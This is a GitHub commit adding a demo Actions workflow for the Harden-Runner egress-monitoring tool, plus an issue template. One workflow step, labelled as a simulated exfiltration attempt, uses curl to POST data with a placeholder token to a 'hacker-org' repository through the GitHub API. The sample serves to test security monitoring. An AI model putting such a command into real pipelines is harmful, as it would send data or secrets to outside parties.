Skip to content

Commit

Permalink
Https sample (#174)
Browse files Browse the repository at this point in the history
  • Loading branch information
varunsh-coder authored Feb 4, 2024
1 parent 6bdcdf0 commit 7e08179
Show file tree
Hide file tree
Showing 2 changed files with 29 additions and 0 deletions.
5 changes: 5 additions & 0 deletions .github/ISSUE_TEMPLATE.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
title: Issue created using GitHub Actions workflow
---

Issue created using GitHub Actions workflow
24 changes: 24 additions & 0 deletions .github/workflows/hosted-https-monitoring-hr.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
name: "Hosted: HTTPS Monitoring with Harden-Runner"
on:
workflow_dispatch:

jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit

- uses: actions/checkout@v3

- uses: JasonEtco/create-an-issue@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

- name: Simulate exfiltration attempt
run: |
curl -X POST -H "Authorization: token 123" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/repos/hacker-org/test-repo/issues \
-d '{"title":"Issue Title","body":"Issue description goes here."}'

0 comments on commit 7e08179

Please sign in to comment.